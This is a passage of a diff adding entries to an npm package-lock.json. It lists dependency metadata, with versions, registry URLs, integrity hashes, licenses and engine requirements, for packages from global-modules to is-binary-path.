"BSD-2-Clause" + }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "dev": true, + "license": "MIT" + }, + "node_modules/gzip-size": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "duplexer": "^0.1.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==", + "dev": true, + "license": "MIT" + }, + "node_modules/harmony-reflect": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz", + "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==", + "dev": true, + "license": "(Apache-2.0 OR MPL-1.1)" + }, + "node_modules/has-bigints": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz", + "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz", + "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/hoopy": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz", + "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/hpack.js/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/hpack.js/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/hpack.js/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "license": "MIT" + }, + "node_modules/hpack.js/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/html-encoding-sniffer": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz", + "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "whatwg-encoding": "^1.0.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/html-entities": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.6.0.tgz", + "integrity": "sha512-kig+rMn/QOVRvr7c86gQ8lWXq+Hkv6CbAH1hLu+RG338StTpE8Z0b44SDVaqVu7HGKf27frdmUYEs9hTUX/cLQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ], + "license": "MIT" + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true, + "license": "MIT" + }, + "node_modules/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "dev": true, + "license": "MIT", + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.6.6", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.6.6.tgz", + "integrity": "sha512-bLjW01UTrvoWTJQL5LsMRo1SypHW80FTm12OJRSnr3v6YHNhfe+1r0MYUZJMACxnCHURVnBWRwAsWs2yPU9Ezw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.20.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "dev": true, + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==", + "dev": true, + "license": "MIT" + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.10", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.10.tgz", + "integrity": "sha512-Pysuw9XpUq5dVc/2SMHpuTY01RFl8fttgcyunjL7eEMhGM3cI4eOmiCycJDVCo/7O7ClfQD3SaI6ftDzqOXYMA==", + "dev": true, + "license": "MIT" + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.9.tgz", + "integrity": "sha512-c1IyJYLYppU574+YI7R4QyX2ystMtVXZwIdzazUIPIJsHuWNd+mho2j+bKoHftndicGj9yh+xjd+l0yj7VeT1Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/idb": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/idb/-/idb-7.1.1.tgz", + "integrity": "sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/identity-obj-proxy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz", + "integrity": "sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==", + "dev": true, + "license": "MIT", + "dependencies": { + "harmony-reflect": "^1.4.6" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/immer": { + "version": "9.0.21", + "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.21.tgz", + "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==", + "dev": true, + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-fresh/node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/import-local": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz", + "integrity": "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "bin": { + "import-local-fixture": "fixtures/cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "license": "ISC" + }, + "node_modules/internal-slot": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz", + "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "hasown": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/ipaddr.js": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.3.0.tgz", + "integrity": "sha512-Zv/pA+ciVFbCSBBjGfaKUya/CcGmUHzTydLMaTwrUUEM2DIEO3iZvueGxmacvmN50fGpGVKeTXpb2LcYQxeVdg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-arguments": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.2.0.tgz", + "integrity": "sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz", + "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-async-function": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz", + "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "async-function": "^1.0.0", + "call-bound": "^1.0.3", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz", + "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-bigints": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": 